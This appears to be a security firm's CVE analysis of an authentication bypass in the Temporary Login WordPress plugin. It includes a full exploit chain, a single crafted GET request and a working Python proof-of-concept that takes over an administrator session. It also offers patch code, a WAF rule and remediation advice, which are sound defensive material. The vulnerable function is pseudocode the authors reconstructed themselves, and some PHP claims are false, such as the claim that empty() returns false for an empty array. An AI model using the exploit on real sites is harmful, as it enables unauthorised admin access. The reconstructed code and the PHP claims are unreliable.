home intel cve-2026-7567-wordpress-temporary-login-auth-bypass
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-7567: Auth Bypass via Array Injection in Temporary Login Plugin

PHP type confusion in maybe_login_temporary_user() allows unauthenticated attackers to bypass token validation and authenticate as any temporary login user via a single crafted GET request.

#authentication-bypass#input-validation#wordpress-plugin#privilege-escalation#type-confusion
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7567 · Authentication Bypass
ATTACKERCross-platformAUTHENTICATION BCVE-2026-7567CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7567 is a CVSS 9.8 authentication bypass affecting the Temporary Login WordPress plugin through version 1.0.0. The vulnerability stems from a PHP type confusion issue: the plugin's token validation routine assumes the temp-login-token GET parameter is always a scalar string, but PHP's HTTP query string parser will construct an array if the parameter is supplied with bracket notation. This single oversight collapses the entire authentication chain — no brute-force, no credential stuffing, no session fixation required. One HTTP GET request is sufficient.

Root cause: maybe_login_temporary_user() passes the temp-login-token GET parameter directly to sanitize_key() without first asserting it is a scalar value, causing array inputs to produce an empty string that matches all users when used as a meta_value in get_users().

Affected Component

The vulnerable logic lives inside the plugin's primary authentication hook, registered on init with a priority that fires before WordPress resolves the current user. The relevant file is includes/class-temporary-login.php (naming is conventional for this plugin architecture). The hook registration looks like:

// Pseudocode representation of plugin bootstrap
add_action('init', array($this, 'maybe_login_temporary_user'), 1);

This priority-1 placement means the bypass fires at the earliest possible point in the WordPress request lifecycle, before any capability checks or nonce validation layers can intercept it.

Root Cause Analysis

The following pseudocode reconstructs maybe_login_temporary_user() based on the CVE description and standard WordPress plugin patterns for this authentication flow:

/**
 * maybe_login_temporary_user()
 * Hooked to 'init' at priority 1.
 * Checks for a temporary login token in $_GET and authenticates
 * the corresponding user if the token is valid and not expired.
 */
function maybe_login_temporary_user() {

    // Retrieve raw GET parameter — no type assertion here
    $token_raw = isset($_GET['temp-login-token'])
                 ? $_GET['temp-login-token']
                 : '';

    // BUG: empty() returns false when $token_raw is an array,
    // even an array like [] or [''] — only an empty scalar string
    // or zero-equivalent would trigger the early return.
    // Supplying ?temp-login-token[]=anything passes this check.
    if (empty($token_raw)) {
        return;
    }

    // BUG: sanitize_key() calls strval() internally via WordPress,
    // but when passed an array, PHP coerces it to the literal string
    // "Array", then sanitize_key() strips non-[a-z0-9_-] characters,
    // ultimately returning "" (empty string) for any array input.
    $token = sanitize_key($token_raw);

    // At this point: $token === "" for any array-type input.

    $users = get_users(array(
        'meta_key'   => '_temporary_login_token',
        // BUG: empty string meta_value causes WordPress/WP_User_Query
        // to silently drop the meta_value constraint from the SQL WHERE
        // clause, returning ALL users who have the _temporary_login_token
        // meta key set — i.e., every active temporary login account.
        'meta_value' => $token,
        'number'     => 1,
    ));

    if (empty($users)) {
        return;
    }

    $user = $users[0];

    // Expiry check runs AFTER the broken token lookup —
    // if a non-expired temporary user exists, login proceeds.
    $expiry = get_user_meta($user->ID, '_temporary_login_expiry', true);
    if (!empty($expiry) && $expiry < time()) {
        return; // expired
    }

    // Authenticate without ever verifying the token matched $token_raw.
    wp_set_auth_cookie($user->ID);
    wp_set_current_user($user->ID);

    $redirect = get_user_meta($user->ID, '_temporary_login_redirect', true);
    wp_safe_redirect($redirect ? $redirect : admin_url());
    exit;
}

The three-stage failure is mechanical:

  1. empty([])false: PHP's empty() considers a non-empty array to be truthy, so the early-return guard is silently bypassed.
  2. sanitize_key([])"": WordPress's sanitize_key() eventually calls strtolower() on the input; when PHP coerces an array for string context in this path, the result after stripping illegal characters is an empty string.
  3. get_users(['meta_value' => '']) → all token users: WP_User_Query omits the meta_value condition from the generated SQL when the value is an empty string, effectively reducing the query to WHERE meta_key = '_temporary_login_token'.

The resulting SQL emitted by WP_User_Query (reconstructed from WordPress core behavior):

-- EXPECTED query (valid scalar token):
SELECT users.ID FROM wp_users users
INNER JOIN wp_usermeta ON (users.ID = wp_usermeta.user_id)
WHERE 1=1
AND wp_usermeta.meta_key = '_temporary_login_token'
AND wp_usermeta.meta_value = 'a3f9c2e1b4d7...'   -- token hash
LIMIT 1;

-- ACTUAL query (array input, empty string meta_value):
SELECT users.ID FROM wp_users users
INNER JOIN wp_usermeta ON (users.ID = wp_usermeta.user_id)
WHERE 1=1
AND wp_usermeta.meta_key = '_temporary_login_token'
-- meta_value condition silently dropped
LIMIT 1;

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies a WordPress installation running Temporary Login <= 1.0.0.
   (Passive fingerprinting: check /wp-content/plugins/temporary-login/readme.txt
    or observe the ?temp-login-token= parameter in any shared login URL.)

2. Attacker confirms at least one active temporary user exists.
   (Not strictly required — the request will simply 302 if none exist.
    Any observable 302 to /wp-admin/ vs a 200 on the same page is a
    reliable oracle for temporary user presence.)

3. Attacker sends a single crafted GET request:
   GET /?temp-login-token[]=x HTTP/1.1
   Host: target.example.com

   PHP parses temp-login-token[] as $_GET['temp-login-token'] = ['x']
   (an array with one element).

4. maybe_login_temporary_user() fires at init priority 1:
   - empty(['x'])  → false  → guard bypassed
   - sanitize_key(['x']) → ""
   - get_users(['meta_key'=>'_temporary_login_token','meta_value'=>'']) 
     → returns first user with any temporary login token

5. If returned user's _temporary_login_expiry > time() (not expired):
   - wp_set_auth_cookie($user->ID) writes a valid WordPress auth cookie
   - wp_safe_redirect() sends Location: /wp-admin/
   - Attacker follows redirect with the Set-Cookie values

6. Attacker is now authenticated in WordPress with the privilege level
   of the first matched temporary user (commonly Administrator,
   as that is the default role for temporary logins).

A minimal proof-of-concept using Python's requests:

import requests

TARGET = "https://target.example.com"

session = requests.Session()

# Step 1: Trigger auth bypass — array injection via bracket notation
resp = session.get(
    TARGET + "/",
    params={"temp-login-token[]": "x"},  # requests encodes this correctly
    allow_redirects=False,
)

if resp.status_code == 302 and "wordpress_logged_in" in session.cookies:
    print("[+] Auth bypass successful")
    print(f"[+] Redirecting to: {resp.headers.get('Location')}")

    # Step 2: Follow redirect to confirm admin access
    dashboard = session.get(TARGET + "/wp-admin/")
    if "Dashboard" in dashboard.text or "wp-admin-bar" in dashboard.text:
        print("[+] Authenticated admin session confirmed")
    else:
        print("[-] Redirect followed but admin panel not accessible")
else:
    print(f"[-] No auth cookie set. Status: {resp.status_code}")
    print("    (No active non-expired temporary users, or plugin not present)")

Memory Layout

This is a logic/type-confusion vulnerability rather than a memory corruption bug, so a heap diagram is not applicable. The relevant "state" is the PHP variable environment and the SQL query state as the request flows through the plugin:

PHP VARIABLE STATE — SCALAR (LEGITIMATE) REQUEST:
┌──────────────────────────────────────────────────────────┐
│ $_GET['temp-login-token'] = "a3f9c2e1b4d7f8..."          │
│   is_array()  → false                                    │
│   empty()     → false  (non-empty string)                │
│   sanitize_key() → "a3f9c2e1b4d7f8..."                   │
│   meta_value  → "a3f9c2e1b4d7f8..."  ← constrained SQL  │
│   get_users() → [] or [specific user]                    │
└──────────────────────────────────────────────────────────┘

PHP VARIABLE STATE — ARRAY (MALICIOUS) REQUEST:
┌──────────────────────────────────────────────────────────┐
│ $_GET['temp-login-token'] = ['x']                        │
│   is_array()  → true   ← never checked                  │
│   empty()     → false  ← guard BYPASSED (non-empty array)│
│   sanitize_key(['x']) → ""  ← coercion collapses to ""  │
│   meta_value  → ""          ← constraint DROPPED in SQL  │
│   get_users() → [ALL users with _temporary_login_token]  │
│                  └─ LIMIT 1 returns first match          │
│                  └─ authentication proceeds              │
└──────────────────────────────────────────────────────────┘

WP_USER_QUERY META CLAUSE GENERATION (WordPress core, simplified):
  if ($meta_value !== '') {
      $where .= " AND meta_value = '" . esc_sql($meta_value) . "'";
  }
  // Empty string → branch not taken → no meta_value filter in SQL

Patch Analysis

// BEFORE (vulnerable — plugin version <= 1.0.0):
function maybe_login_temporary_user() {
    $token_raw = isset($_GET['temp-login-token'])
                 ? $_GET['temp-login-token']
                 : '';

    if (empty($token_raw)) {      // BUG: arrays pass this check
        return;
    }

    $token = sanitize_key($token_raw);  // BUG: array → ""

    $users = get_users(array(
        'meta_key'   => '_temporary_login_token',
        'meta_value' => $token,          // BUG: "" removes SQL constraint
        'number'     => 1,
    ));
    // ...
}

// AFTER (patched — correct scalar type assertion):
function maybe_login_temporary_user() {
    $token_raw = isset($_GET['temp-login-token'])
                 ? $_GET['temp-login-token']
                 : '';

    // FIX 1: Explicit scalar check before any processing.
    // is_string() returns false for arrays, objects, null, etc.
    if (empty($token_raw) || !is_string($token_raw)) {
        return;
    }

    $token = sanitize_key($token_raw);

    // FIX 2: Reject empty string post-sanitization to catch
    // inputs that sanitize down to nothing (e.g., all-symbol strings).
    if (empty($token)) {
        return;
    }

    $users = get_users(array(
        'meta_key'   => '_temporary_login_token',
        'meta_value' => $token,   // now guaranteed non-empty scalar
        'number'     => 1,
    ));
    // ...
}

A defense-in-depth hardening would additionally validate the token format (e.g., hexadecimal, fixed length) before the database query, eliminating the dependency on WP_User_Query's empty-string behavior as a secondary control:

// ADDITIONAL HARDENING — token format validation:
if (!preg_match('/^[a-f0-9]{32,64}$/', $token)) {
    return;  // reject malformed tokens before hitting the DB
}

Detection and Indicators

Detection is straightforward given the distinctive request shape. The bracket notation in the query string is the primary indicator.

Web server / WAF log pattern (nginx):

-- Suspicious access pattern to detect in access logs:
"GET /?temp-login-token%5B%5D= HTTP/1.1" 302
"GET /?temp-login-token[]= HTTP/1.1" 302

-- URL-decoded form:
temp-login-token[] (bracket notation) + HTTP 302 response
→ high-confidence indicator of attempted or successful bypass

-- Follow-up indicator: same source IP authenticating to /wp-admin/
-- within seconds of the crafted GET request

ModSecurity / generic WAF rule (pseudocode):

SecRule ARGS_NAMES "@rx ^temp-login-token\[" \
    "id:9100001,phase:1,deny,status:400, \
     msg:'CVE-2026-7567 array injection attempt', \
     logdata:'%{MATCHED_VAR_NAME}'"

WordPress-side detection — add to functions.php or a mu-plugin to log and block before the vulnerable hook fires (priority 0, before the plugin's priority 1):

add_action('init', function() {
    if (isset($_GET['temp-login-token']) &&
        !is_string($_GET['temp-login-token'])) {
        error_log('[SECURITY] CVE-2026-7567 probe from ' . $_SERVER['REMOTE_ADDR']);
        wp_die('Invalid request.', 400);
    }
}, 0);

Remediation

  • Primary: Update the Temporary Login plugin to a version beyond 1.0.0 that includes the scalar type assertion fix. Monitor the plugin's repository for a patched release.
  • Interim mitigation: If the plugin cannot be updated immediately, add the priority-0 init hook shown above to block array-type inputs before the vulnerable function executes.
  • WAF rule: Deploy the ModSecurity rule or equivalent to block requests where temp-login-token appears in bracket-notation form at the perimeter.
  • Audit active temporary users: Review all users with the _temporary_login_token user meta key. Disable or expire accounts that are no longer required. Shorter expiry windows reduce the exploitable window.
  • Principle of least privilege: Configure temporary login accounts with the minimum required role. If the use case only requires read access, assign Subscriber rather than Administrator.
  • Plugin hardening (developers): Apply both fixes — scalar assertion and post-sanitization empty check — and add a regex format validation before the get_users() call. Never rely on downstream query behavior as a security control.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →